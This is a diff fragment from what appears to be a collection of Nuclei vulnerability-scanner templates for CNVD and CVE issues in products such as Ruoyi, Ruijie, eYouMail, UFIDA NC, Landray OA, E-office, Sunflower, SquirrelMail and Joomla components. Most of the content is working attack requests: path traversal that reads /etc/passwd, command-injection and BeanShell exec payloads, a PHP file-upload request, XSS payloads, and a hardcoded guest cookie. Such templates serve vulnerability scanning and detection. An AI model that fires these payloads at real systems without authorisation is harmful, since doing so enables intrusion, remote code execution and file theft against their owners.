files from the operating system. + reference: + - https://disk.scan.cm/All_wiki/%E4%BD%A9%E5%A5%87PeiQi-WIKI-POC-2021-7-20%E6%BC%8F%E6%B4%9E%E5%BA%93/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md?hash=zE0KEPGJ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 + metadata: + max-request: 2 tags: ruoyi,lfi,cnvd,cnvd2021 -requests: +http: - method: GET path: - "{{BaseURL}}/common/download/resource?resource=/profile/../../../../etc/passwd" @@ -27,3 +35,5 @@ requests: - "fonts" - "extensions" condition: and + +# digest: 490a0046304402206eb36477aee26ec18695a3ec1648c797bf897241159d7fab9b8378c537d02b3902203818599485a74911d8fca2e7713c053a9318132a138daeb2628bb2e9923b2aa0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cnvd-2021-01931-1079.yaml b/poc/cve/cnvd-2021-01931-1079.yaml new file mode 100644 index 0000000000..93e7c79f0c --- /dev/null +++ b/poc/cve/cnvd-2021-01931-1079.yaml @@ -0,0 +1,33 @@ +id: CNVD-2021-01931 +info: + name: Ruoyi Management System - Local File Inclusion + author: daffainfo,ritikchaddha + severity: high + description: The Ruoyi Management System contains a local file inclusion vulnerability that allows attackers to retrieve arbitrary files from the operating system. + reference: + - https://disk.scan.cm/All_wiki/%E4%BD%A9%E5%A5%87PeiQi-WIKI-POC-2021-7-20%E6%BC%8F%E6%B4%9E%E5%BA%93/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/%E8%8B%A5%E4%BE%9D%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20%E5%90%8E%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%20CNVD-2021-01931.md?hash=zE0KEPGJ + tags: ruoyi,lfi,cnvd,cnvd2021 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 +requests: + - method: GET + path: + - "{{BaseURL}}/common/download/resource?resource=/profile/../../../../etc/passwd" + - "{{BaseURL}}/common/download/resource?resource=/profile/../../../../Windows/win.ini" + matchers-condition: or + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0" + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + +# Enhanced by cs on 06/03/2022 diff --git a/poc/cve/cnvd-2021-09650-1081.yaml b/poc/cve/cnvd-2021-09650-1081.yaml index 92d6a971a0..3906b98d71 100644 --- a/poc/cve/cnvd-2021-09650-1081.yaml +++ b/poc/cve/cnvd-2021-09650-1081.yaml @@ -1,9 +1,15 @@ id: CNVD-2021-09650 info: - name: Ruijie EWEB Gateway Platform Command Execution + name: Ruijie EWEB Gateway Platform - Remote Command Injection author: daffainfo severity: critical - reference: http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ + description: Ruijie EWEB Gateway Platform is susceptible to remote command injection attacks. + reference: + - http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: ruijie,cnvd,cnvd2021,rce requests: - raw: @@ -19,3 +25,5 @@ requests: name: http words: - "http" + +# Enhanced by mp on 2022/05/12 diff --git a/poc/cve/cnvd-2021-10543-1082.yaml b/poc/cve/cnvd-2021-10543-1082.yaml index 57efc51ea6..9a531cec67 100644 --- a/poc/cve/cnvd-2021-10543-1082.yaml +++ b/poc/cve/cnvd-2021-10543-1082.yaml @@ -4,7 +4,7 @@ info: author: pikpikcu severity: high reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543 - tags: config,exposure,cnvd,cnvd2021 + tags: config,exposure,cnvd requests: - method: GET path: diff --git a/poc/cve/cnvd-2021-15822-1093.yaml b/poc/cve/cnvd-2021-15822-1093.yaml deleted file mode 100644 index 761c3109f5..0000000000 --- a/poc/cve/cnvd-2021-15822-1093.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: CNVD-2021-15822 -info: - name: ShopXO Download File Read - author: pikpikcu - severity: high - reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog - tags: shopxo,lfi -requests: - - raw: - - | - GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 - Content-Type: application/x-www-form-urlencoded - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0" - - type: status - status: - - 200 diff --git a/poc/cve/cnvd-2021-15822-1095.yaml b/poc/cve/cnvd-2021-15822-1095.yaml index 8b8f8eba47..761c3109f5 100644 --- a/poc/cve/cnvd-2021-15822-1095.yaml +++ b/poc/cve/cnvd-2021-15822-1095.yaml @@ -4,20 +4,19 @@ info: author: pikpikcu severity: high reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog - tags: shopxo,lfi,cnvd,cnvd2021 + tags: shopxo,lfi requests: - raw: - | GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q= HTTP/1.1 Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: regex regex: - - "root:.*:0:0:" + - "root:.*:0:0" - type: status status: - 200 - -# Enhanced by mp on 2022/03/17 diff --git a/poc/cve/cnvd-2021-15824-1096.yaml b/poc/cve/cnvd-2021-15824-1096.yaml deleted file mode 100644 index 98b320cda6..0000000000 --- a/poc/cve/cnvd-2021-15824-1096.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: CNVD-2021-15824 -info: - name: EmpireCMS DOM Cross Site-Scripting - author: daffainfo - severity: medium - reference: - - https://www.bilibili.com/read/cv10441910 - - https://vul.wangan.com/a/CNVD-2021-15824 - tags: empirecms,cnvd,cnvd2021,xss,domxss -requests: - - method: GET - path: - - "{{BaseURL}}/e/ViewImg/index.html?url=javascript:alert(1)" - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'if(Request("url")!=0)' - - 'href=\""+Request("url")+"\"' - condition: and - - type: status - status: - - 200 diff --git a/poc/cve/cnvd-2021-15824-1097.yaml b/poc/cve/cnvd-2021-15824-1097.yaml new file mode 100644 index 0000000000..f7c5f9b00e --- /dev/null +++ b/poc/cve/cnvd-2021-15824-1097.yaml @@ -0,0 +1,32 @@ +id: CNVD-2021-15824 +info: + name: EmpireCMS DOM Cross Site-Scripting + author: daffainfo + severity: high + description: EmpireCMS is vulnerable to a DOM based cross-site scripting attack. + reference: + - https://sourceforge.net/projects/empirecms/ + - https://www.bilibili.com/read/cv10441910 + - https://vul.wangan.com/a/CNVD-2021-15824 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + tags: empirecms,cnvd,cnvd2021,xss,domxss +requests: + - method: GET + path: + - "{{BaseURL}}/e/ViewImg/index.html?url=javascript:alert(1)" + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'if(Request("url")!=0)' + - 'href=\""+Request("url")+"\"' + condition: and + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/23 diff --git a/poc/cve/cnvd-2021-17369-1101.yaml b/poc/cve/cnvd-2021-17369-1101.yaml index bf303ebab1..63e43d9afa 100644 --- a/poc/cve/cnvd-2021-17369-1101.yaml +++ b/poc/cve/cnvd-2021-17369-1101.yaml @@ -1,24 +1,37 @@ id: CNVD-2021-17369 + info: name: Ruijie Smartweb Management System Password Information Disclosure author: pikpikcu - severity: medium - reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369 - tags: ruijie,disclosure,cnvd + severity: high + description: The wireless smartweb management system of Ruijie Networks Co., Ltd. has a logic flaw. An attacker can obtain the administrator account and password from a low-privileged user, thereby escalating the low-level privilege to the administrator's privilege. + reference: + - https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369 + tags: ruijie,disclosure,cnvd,cnvd2021 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + requests: - method: GET path: - "{{BaseURL}}/web/xml/webuser-auth.xml" headers: Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest + matchers-condition: and matchers: - type: word + part: body words: - "<userauth>" - "<password>" - part: body condition: and + - type: status status: - 200 + +# Enhanced by mp on 2022/03/16 diff --git a/poc/cve/cnvd-2021-26422-1103.yaml b/poc/cve/cnvd-2021-26422-1103.yaml index c9485ec160..e159383415 100644 --- a/poc/cve/cnvd-2021-26422-1103.yaml +++ b/poc/cve/cnvd-2021-26422-1103.yaml @@ -1,17 +1,14 @@ id: CNVD-2021-26422 + info: name: eYouMail - Remote Code Execution author: daffainfo severity: critical - description: eYouMail is susceptible to a remote code execution vulnerability. reference: - https://github.com/ltfafei/my_POC/blob/master/CNVD-2021-26422_eYouMail/CNVD-2021-26422_eYouMail_RCE_POC.py - https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/%E4%BA%BF%E9%82%AE%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20(CNVD-2021-26422).md - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 - cwe-id: CWE-77 tags: eyoumail,rce,cnvd,cnvd2021 + requests: - raw: - | @@ -20,13 +17,13 @@ requests: Content-Type: application/x-www-form-urlencoded type='|cat /etc/passwd||' + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/05/12 diff --git a/poc/cve/cnvd-2021-28277-1106.yaml b/poc/cve/cnvd-2021-28277-1106.yaml new file mode 100644 index 0000000000..4f8375a641 --- /dev/null +++ b/poc/cve/cnvd-2021-28277-1106.yaml @@ -0,0 +1,45 @@ +id: CNVD-2021-28277 +info: + name: Landray-OA - Local File Inclusion + author: pikpikcu,daffainfo + severity: high + description: Landray-OA is susceptible to local file inclusion. + reference: + - https://www.aisoutu.com/a/1432457 + - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw + metadata: + fofa-query: app="Landray OA system" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 8.6 + cwe-id: CWE-22 + tags: landray,lfi,cnvd,cnvd2021 +requests: + - raw: + - | + POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded + + var={"body":{"file":"file:///etc/passwd"}} + - | + POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded + + var={"body":{"file":"file:///c://windows/win.ini"}} + stop-at-first-match: true + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - "for 16-bit app support" + condition: or + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/06 diff --git a/poc/cve/cnvd-2021-30167-1108.yaml b/poc/cve/cnvd-2021-30167-1108.yaml index ed9600b3a9..54c8b5fe38 100644 --- a/poc/cve/cnvd-2021-30167-1108.yaml +++ b/poc/cve/cnvd-2021-30167-1108.yaml @@ -1,12 +1,20 @@ id: CNVD-2021-30167 + info: - name: UFIDA NC BeanShell Remote Code Execution + name: UFIDA NC BeanShell Remote Command Execution author: pikpikcu severity: high + description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program. reference: - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A - https://www.cnvd.org.cn/webinfo/show/6491 - tags: beanshell,rce,cnvd,cnvd2021 + - https://chowdera.com/2022/03/202203110138271510.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: cnvd,cnvd2021,beanshell,rce,yonyou + requests: - raw: - | #linux @@ -15,12 +23,14 @@ requests: Content-Type: application/x-www-form-urlencoded bsh.script=exec("id"); + - | #windows POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded bsh.script=exec("ipconfig"); + matchers-condition: and matchers: - type: regex @@ -28,9 +38,13 @@ requests: - "uid=" - "Windows IP" condition: or + - type: word words: - "BeanShell Test Servlet" + - type: status status: - 200 + +# Enhanced by cs on 2022/07/05 diff --git a/poc/cve/cnvd-2021-30167-1109.yaml b/poc/cve/cnvd-2021-30167-1109.yaml deleted file mode 100644 index 54c8b5fe38..0000000000 --- a/poc/cve/cnvd-2021-30167-1109.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CNVD-2021-30167 - -info: - name: UFIDA NC BeanShell Remote Command Execution - author: pikpikcu - severity: high - description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program. - reference: - - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A - - https://www.cnvd.org.cn/webinfo/show/6491 - - https://chowdera.com/2022/03/202203110138271510.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.0 - cwe-id: CWE-77 - tags: cnvd,cnvd2021,beanshell,rce,yonyou - -requests: - - raw: - - | #linux - POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - bsh.script=exec("id"); - - - | #windows - POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - bsh.script=exec("ipconfig"); - - matchers-condition: and - matchers: - - type: regex - regex: - - "uid=" - - "Windows IP" - condition: or - - - type: word - words: - - "BeanShell Test Servlet" - - - type: status - status: - - 200 - -# Enhanced by cs on 2022/07/05 diff --git a/poc/cve/cnvd-2021-30167-1111.yaml b/poc/cve/cnvd-2021-30167-1111.yaml new file mode 100644 index 0000000000..cd7fd68a5c --- /dev/null +++ b/poc/cve/cnvd-2021-30167-1111.yaml @@ -0,0 +1,36 @@ +id: CNVD-2021-30167 +info: + name: UFIDA NC BeanShell Remote Code Execution + author: pikpikcu + severity: high + reference: + - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A + - https://www.cnvd.org.cn/webinfo/show/6491 + tags: beanshell,rce,cnvd +requests: + - raw: + - | #linux + POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + bsh.script=exec("id"); + - | #windows + POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + bsh.script=exec("ipconfig"); + matchers-condition: and + matchers: + - type: regex + regex: + - "uid=" + - "Windows IP" + condition: or + - type: word + words: + - "BeanShell Test Servlet" + - type: status + status: + - 200 diff --git a/poc/cve/cnvd-2021-30167-1112.yaml b/poc/cve/cnvd-2021-30167-1112.yaml index cd7fd68a5c..ff2be5cdf3 100644 --- a/poc/cve/cnvd-2021-30167-1112.yaml +++ b/poc/cve/cnvd-2021-30167-1112.yaml @@ -3,7 +3,7 @@ info: name: UFIDA NC BeanShell Remote Code Execution author: pikpikcu severity: high - reference: + reference: | - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A - https://www.cnvd.org.cn/webinfo/show/6491 tags: beanshell,rce,cnvd @@ -12,12 +12,14 @@ requests: - | #linux POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/x-www-form-urlencoded bsh.script=exec("id"); - | #windows POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1 Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/x-www-form-urlencoded bsh.script=exec("ipconfig"); diff --git a/poc/cve/cnvd-2021-49104-1114.yaml b/poc/cve/cnvd-2021-49104-1114.yaml index 52de7704f6..3eb6ccae6e 100644 --- a/poc/cve/cnvd-2021-49104-1114.yaml +++ b/poc/cve/cnvd-2021-49104-1114.yaml @@ -1,10 +1,20 @@ id: CNVD-2021-49104 + info: name: Pan Micro E-office File Uploads + description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker. + remediation: Pan Wei has released an update to resolve this vulnerability. author: pikpikcu severity: critical - reference: https://chowdera.com/2021/12/202112200602130067.html + reference: + - https://chowdera.com/2021/12/202112200602130067.html + - http://v10.e-office.cn tags: pan,micro,cnvd,cnvd2021 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L + cvss-score: 9.9 + cwe-id: CWE-434 + requests: - raw: - | @@ -19,15 +29,20 @@ requests: <?php echo md5('CNVD-2021-49104');?> --e64bdf16c554bbc109cecef6451c26a4-- + - | GET /images/logo/logo-eoffice.php HTTP/1.1 Host: {{Hostname}} + matchers-condition: and matchers: - type: word part: body words: - "94d01a2324ce38a2e29a629c54190f67" + - type: status status: - 200 + +# Enhanced by cs on 2022/02/28 diff --git a/poc/cve/cnvd-2021-49104-1115.yaml b/poc/cve/cnvd-2021-49104-1115.yaml index 3eb6ccae6e..05e8b96e20 100644 --- a/poc/cve/cnvd-2021-49104-1115.yaml +++ b/poc/cve/cnvd-2021-49104-1115.yaml @@ -1,20 +1,18 @@ id: CNVD-2021-49104 - info: name: Pan Micro E-office File Uploads - description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker. - remediation: Pan Wei has released an update to resolve this vulnerability. author: pikpikcu severity: critical + description: The Pan Wei Micro E-office version running allows arbitrary file uploads from a remote attacker. reference: - https://chowdera.com/2021/12/202112200602130067.html - http://v10.e-office.cn - tags: pan,micro,cnvd,cnvd2021 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L cvss-score: 9.9 cwe-id: CWE-434 - + remediation: Pan Wei has released an update to resolve this vulnerability. + tags: pan,micro,cnvd,cnvd2021 requests: - raw: - | @@ -29,18 +27,15 @@ requests: <?php echo md5('CNVD-2021-49104');?> --e64bdf16c554bbc109cecef6451c26a4-- - - | GET /images/logo/logo-eoffice.php HTTP/1.1 Host: {{Hostname}} - matchers-condition: and matchers: - type: word part: body words: - "94d01a2324ce38a2e29a629c54190f67" - - type: status status: - 200 diff --git a/poc/cve/cnvd-2022-03672-1116.yaml b/poc/cve/cnvd-2022-03672-1116.yaml deleted file mode 100644 index 400f7dc2ad..0000000000 --- a/poc/cve/cnvd-2022-03672-1116.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CNVD-2022-03672 - -info: - name: Sunflower Simple and Personal edition RCE - author: daffainfo - severity: critical - reference: - - https://www.1024sou.com/article/741374.html - - https://copyfuture.com/blogs-details/202202192249158884 - - https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270 - - https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672 - tags: cnvd,cnvd2020,sunflower,rce - -requests: - - raw: - - | - POST /cgi-bin/rpc HTTP/1.1 - Host: {{Hostname}} - - action=verify-haras - - | - GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig HTTP/1.1 - Host: {{Hostname}} - Cookie: CID={{cid}} - - extractors: - - type: regex - name: cid - internal: true - group: 1 - regex: - - '"verify_string":"(.*)"' - - req-condition: true - matchers: - - type: dsl - dsl: - - "status_code_1==200" - - "status_code_2==200" - - "contains(body_1, 'verify_string')" - - "contains(body_2, 'Windows IP')" - condition: and diff --git a/poc/cve/cnvd-2022-03672-1117.yaml b/poc/cve/cnvd-2022-03672-1117.yaml new file mode 100644 index 0000000000..b96b1bebfe --- /dev/null +++ b/poc/cve/cnvd-2022-03672-1117.yaml @@ -0,0 +1,45 @@ +id: CNVD-2022-03672 +info: + name: Sunflower Simple and Personal - Remote Code Execution + author: daffainfo + severity: critical + description: Sunflower Simple and Personal is susceptible to a remote code execution vulnerability. + reference: + - https://www.1024sou.com/article/741374.html + - https://copyfuture.com/blogs-details/202202192249158884 + - https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270 + - https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: cnvd,cnvd2020,sunflower,rce +requests: + - raw: + - | + POST /cgi-bin/rpc HTTP/1.1 + Host: {{Hostname}} + + action=verify-haras + - | + GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig HTTP/1.1 + Host: {{Hostname}} + Cookie: CID={{cid}} + extractors: + - type: regex + name: cid + internal: true + group: 1 + regex: + - '"verify_string":"(.*)"' + req-condition: true + matchers: + - type: dsl + dsl: + - "status_code_1==200" + - "status_code_2==200" + - "contains(body_1, 'verify_string')" + - "contains(body_2, 'Windows IP')" + condition: and + +# Enhanced by mp on 2022/05/12 diff --git a/poc/cve/cve-2001-1473.yaml b/poc/cve/cve-2001-1473.yaml deleted file mode 100644 index 2468298527..0000000000 --- a/poc/cve/cve-2001-1473.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2001-1473 - -info: - name: Deprecated SSHv1 Protocol Detection - author: iamthefrogy - severity: high - description: SSHv1 is deprecated and has known cryptographic issues. - reference: - - https://www.kb.cert.org/vuls/id/684820 - - https://nvd.nist.gov/vuln/detail/CVE-2001-1473 - - http://www.kb.cert.org/vuls/id/684820 - - https://exchange.xforce.ibmcloud.com/vulnerabilities/6603 - remediation: Upgrade to SSH 2.4 or later. - classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P - cvss-score: 7.5 - cve-id: CVE-2001-1473 - cwe-id: CWE-310 - cpe: cpe:2.3:a:ssh:ssh:1.2.24:*:*:*:*:*:*:* - epss-score: 0.00258 - metadata: - max-request: 1 - product: ssh - vendor: ssh - tags: cve,cve2001,network,ssh,openssh -tcp: - - host: - - "{{Hostname}}" - port: 22 - matchers: - - type: word - words: - - "SSH-1" -# digest: 4a0a0047304502203de1c09a1cc386bcec69008300e5128d2880e5928722ce6e713ea325990477ca0221008c784185ea07e806340c2bd1f40e7f279363836889eb3a8c1840c2554f7695c8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2004-0519-1305.yaml b/poc/cve/cve-2004-0519-1305.yaml new file mode 100644 index 0000000000..d732d1a529 --- /dev/null +++ b/poc/cve/cve-2004-0519-1305.yaml @@ -0,0 +1,37 @@ +id: CVE-2004-0519 + +info: + name: SquirrelMail 1.4.x - Folder Name Cross-Site Scripting + author: dhiyaneshDk + severity: medium + description: Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php. + remediation: Upgrade to the latest version. + reference: + - https://www.exploit-db.com/exploits/24068 + - ftp://patches.sgi.com/support/free/security/advisories/20040604-01-U.asc + tags: xss,squirrelmail,cve2004,cve + classification: + cve-id: CVE-2004-0519 + +requests: + - method: GET + path: + - '{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "</script><script>alert(document.domain)</script>" + + - type: word + part: header + words: + - "text/html" + +# Enhanced by mp on 2022/01/27 diff --git a/poc/cve/cve-2005-3344-1317.yaml b/poc/cve/cve-2005-3344-1317.yaml deleted file mode 100644 index c796303bb7..0000000000 --- a/poc/cve/cve-2005-3344-1317.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2005-3344 -info: - name: Horde Groupware Unauthenticated Admin Access - author: pikpikcu - severity: critical - description: Horde Groupware contains an administrative account with a blank password, which allows remote attackers to gain access. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2005-3344 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3344 - - http://www.debian.org/security/2005/dsa-884 - - http://web.archive.org/web/20210206055804/https://www.securityfocus.com/bid/15337 - classification: - cve-id: CVE-2005-3344 - tags: cve,cve2005,horde,unauth -requests: - - method: GET - path: - - "{{BaseURL}}/horde/admin/user.php" - - "{{BaseURL}}/admin/user.php" - headers: - Content-Type: text/html - matchers-condition: and - matchers: - - type: word - words: - - "<title>Horde :: User Administration" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/18 diff --git a/poc/cve/cve-2007-5728-1351.yaml b/poc/cve/cve-2007-5728-1351.yaml deleted file mode 100644 index e3e78104af..0000000000 --- a/poc/cve/cve-2007-5728-1351.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2007-5728 - -info: - name: phpPgAdmin 4.1.1 - 'Redirect.php' Cross-Site Scripting - author: dhiyaneshDK - severity: medium - description: Cross-site scripting (XSS) vulnerability in phpPgAdmin 3.5 to 4.1.1, and possibly 4.1.2, allows remote attackers to inject arbitrary web script or HTML via certain input available in PHP_SELF in (1) redirect.php, possibly related to (2) login.php, different vectors than CVE-2007-2865. - reference: - - https://www.exploit-db.com/exploits/30090 - - http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/063617.html - - http://web.archive.org/web/20210130131735/https://www.securityfocus.com/bid/24182/ - - http://web.archive.org/web/20161220160642/http://secunia.com/advisories/25446/ - classification: - cve-id: CVE-2007-5728 - metadata: - shodan-query: http.title:"phpPgAdmin" - tags: cve,cve2007,xss,pgadmin,phppgadmin - -requests: - - method: GET - path: - - '{{BaseURL}}/redirect.php/%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E?subject=server&server=test' - - matchers-condition: and - matchers: - - - type: word - words: - - '' - - - type: status - status: - - 200 - - - type: word - part: header - words: - - "text/html" diff --git a/poc/cve/cve-2008-4668.yaml b/poc/cve/cve-2008-4668.yaml deleted file mode 100644 index 82ec98c146..0000000000 --- a/poc/cve/cve-2008-4668.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2008-4668 - -info: - name: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal - author: daffainfo - severity: high - description: Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php. - reference: - - https://www.exploit-db.com/exploits/6618 - - https://www.cvedetails.com/cve/CVE-2008-4668 - - http://web.archive.org/web/20210121183742/https://www.securityfocus.com/bid/31458/ - - http://securityreason.com/securityalert/4464 - classification: - cve-id: CVE-2008-4668 - tags: cve,cve2008,joomla,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/poc/cve/cve-2008-6172-1387.yaml b/poc/cve/cve-2008-6172-1387.yaml new file mode 100644 index 0000000000..8d57e5e23a --- /dev/null +++ b/poc/cve/cve-2008-6172-1387.yaml @@ -0,0 +1,27 @@ +id: CVE-2008-6172 + +info: + name: Joomla! Component RWCards 3.0.11 - Local File Inclusion + author: daffainfo + severity: high + description: Directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. + reference: + - https://www.exploit-db.com/exploits/6817 + - https://www.cvedetails.com/cve/CVE-2008-6172 + tags: cve,cve2008,joomla,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2008-6172.yaml b/poc/cve/cve-2008-6172.yaml new file mode 100644 index 0000000000..91f1a43ece --- /dev/null 